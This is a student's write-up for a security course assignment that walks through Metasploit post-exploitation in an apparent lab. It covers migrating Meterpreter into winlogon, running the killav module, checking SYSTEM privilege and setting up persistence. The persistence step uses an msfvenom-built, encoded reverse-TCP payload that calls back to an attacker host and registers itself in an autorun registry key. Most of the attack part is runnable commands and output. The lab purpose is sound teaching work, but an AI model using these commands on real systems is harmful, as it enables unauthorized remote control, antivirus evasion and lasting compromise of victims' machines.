**CMPT 489** 

# Assignment 3

# **Table of Contents**

Part 1: Process Mitigation	3
Task 1:	3
Task 2:	3
Task 3:	3
Part 2 Killing the Antivirus:	3
Task 4:	
Task 5:	3
Part 3: Obtaining System Privilege	
Task 6:	4
Task 7:	
Task 8:	4
Part 4: Persistence	
Task 9:	•
Task 10:	
Task 11:	
Task 12:	
TASK 17"	h

# Part 1: Process Mitigation

# Task 1:

Using Meterpreter's command ps find a **suitable** process to migrate to. What process did you choose and why? What is the ID of this this process?

The process chosen to migrate the Meterpreter session was **winlogon**. This process is more reliable for maintaining the Meterpreter session. For example, migrating to the internet explorer process may cause the application to lag or not work properly. As a result the user could restart the process and jeopardize the Meterpreter session.

The ID of the winlogon process is the following: 532

# Task 2:

Force to background the current Meterpreter sessions and find the **proper** post exploit to use for process migration. What exploit did you select?

After doing some research in Metasploit, the post exploit that I selected to migrate our Meterpreter session was the **post/windows/manage/migrate** exploit.

# Task 3:

Perform the exploit and report the commands/options you used.

Here are the commands used to migrate our Meterpreter session to the desired process:

```
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(windows/smb/ms08_067_netapi) > use post/windows/manage/migrate
msf5 post(windows/manage/migrate) > set SESSION 4
SESSION => 4
msf5 post(windows/manage/migrate) > set PID 532
PID => 532
msf5 post(windows/manage/migrate) > exploit

[*] Running module against ADMIN-2BDBD2BA8
[*] Current server process: svchost.exe (984)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 384
[*] Successfully migrated to process 384
[*] Post module execution completed
msf5 post(windows/manage/migrate) >
```

# Part 2 Killing the Antivirus:

### Task 4:

Select the proper exploit to kill the antivirus system of the target machine (if any). What exploit did you use?

The post exploit that I will use to kill the antivirus system on the target machine will be the **post/windows/manage/killav** exploit.

# Task 5:

Report the commands/options you used in order to kill the antivirus.

```
msf5 post(windows/manage/killav) > set SESSION 4
SESSION => 4
msf5 post(windows/manage/killav) > exploit

[*] No target processes were found.
[*] Post module execution completed
msf5 post(windows/manage/killav) >
```

Note: The target system does not have an antivirus system running

# Part 3: Obtaining System Privilege

# Task 6:

What is the Meterpreter command to check the privilege level of the current Meterpreter session?

The Meterpreter command to check the privilege level of the current Meterpreter session is the **getuid** command.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

# Task 7:

What is the proper exploit to escalate the privilege to system level? Please note that this exploit does not always work.

The proper post exploit to escalate the privilege to system level is the **post/windows/escalate/getsystem** exploit.

# Task 8:

Perform the exploit and report the commands/options you used.

```
msf5 post(windows/escalate/getsystem) > use post/windows/escalate/getsystem
msf5 post(windows/escalate/getsystem) > set SESSION 4
SESSION => 4
msf5 post(windows/escalate/getsystem) > exploit

[+] This session already has SYSTEM privileges
[*] Post module execution completed
msf5 post(windows/escalate/getsystem) >
```

**Note:** The Meterpreter session that we acquired from the original exploit had system privileges already.

# Part 4: Persistence

### Task 9:

What is the **proper** post exploit to perform the persistence?

The proper post exploit to perform the persistence is **the post/windows/manage/persistence\_exe** exploit.

# Task 10:

Perform the exploit and report the commands/options you used.

Similarly to last weeks assignment, a payload was created using msfvenom:

```
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LPORT=4449 LHOST=10.0.0.16 -a x86 -e x86/shikata_ga_nai -f exe --platform windows > hack.exe
```

**Note:** The hack exe file was stored in the /var/www/html/ directory

Here are the next steps taken to persists on the target system with the generated payload are the following:

```
msf5 exploit(multi/handler) > use post/windows/manage/persistence exe
msf5 post(windows/manage/persistence exe) > set REXEPATH /var/www/html/hack.exe
REXEPATH => /var/www/html/hack.exe
msf5 post(windows/manage/persistence exe) > set REXENAME hack.exe
REXENAME => hack.exe
msf5 post(windows/manage/persistence exe) > set SESSION 4
SESSION \Rightarrow 4
msf5 post(windows/manage/persistence exe) > set STARTUP SYSTEM
STARTUP => SYSTEM
msf5 post(windows/manage/persistence exe) > exploit
[*] Running module against ADMIN-2BDBD2BA8
[*] Reading Payload from file /var/www/html/hack.exe
[+] Persistent Script written to C:\WINDOWS\TEMP\hack.exe
[*] Executing script C:\WINDOWS\TEMP\hack.exe
[+] Agent executed with PID 2040
[*] Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\gmaiDMHnVkcD
[+] Installed into autorum as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\gmaiDMHnVkcD
[*] Cleanup Meterpreter RC File: /root/.msf4/logs/persistence/ADMIN-
2BDBD2BA8 20191004.1802/ADMIN-2BDBD2BA8 20191004.1802.rc
[*] Post module execution completed
```

## Task 11:

Confirm that a Meterpreter session is created when you login back to the Windows machine. Report the commands you used to setup the multi/handler module and a screenshot of the current Meterpreter session that has been opened.

Now that we have persistence set up, we have to set up the exploit/multi/handler exploit and reboot the target system to verify that persistence exploit was done correctly:

Screenshot of another successful attempt after another reboot of the target system:

```
msf5 exploit(multi/handler) > set ExitonSession true
ExitonSession => true
msf5 exploit(multi/handler) > exploit Add-ons Help Alichanges saved in Drue

[*] Started reverse TCP handler on 10.0.0.16:4449
[*] 10.0.0.17 - Meterpreter session 11 closed. Reason: Died
[*] Sending stage (180291 bytes) to 10.0.0.17
[*] Meterpreter session 13 opened (10.0.0.16:4449 -> 10.0.0.17:1027) at 2019-10-04 06:30:12 -0700
meterpreter > 

meterpreter >
```

# Task 12:

Using Meterpreter without using **any other exploit** show a different way to perform persistence on a target machine. Report the commands you used to do that.

Here is the command used in a Meterpreter session to obtain persistence in the target system:

```
meterpreter > run persistence -X -i 5 -p 4449 -r 10.0.0.16
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.
[!] Example: run post/windows/manage/persistence exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ADMIN-
2BDBD2BA8 20191004.4410/ADMIN-2BDBD2BA8 20191004.4410.rc
[*] Creating Payload=windows/meterpreter/reverse tcp LHOST=10.0.0.16 LPORT=4449
[*] Persistent agent script is 99697 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\NrNXArM.vbs
[*] Executing script C:\WINDOWS\TEMP\NrNXArM.vbs
[+] Agent executed with PID 1480
[*] Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ECCzyuuYyxPF
[+] Installed into autorum as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ECCzyuuYyxPF
meterpreter >
```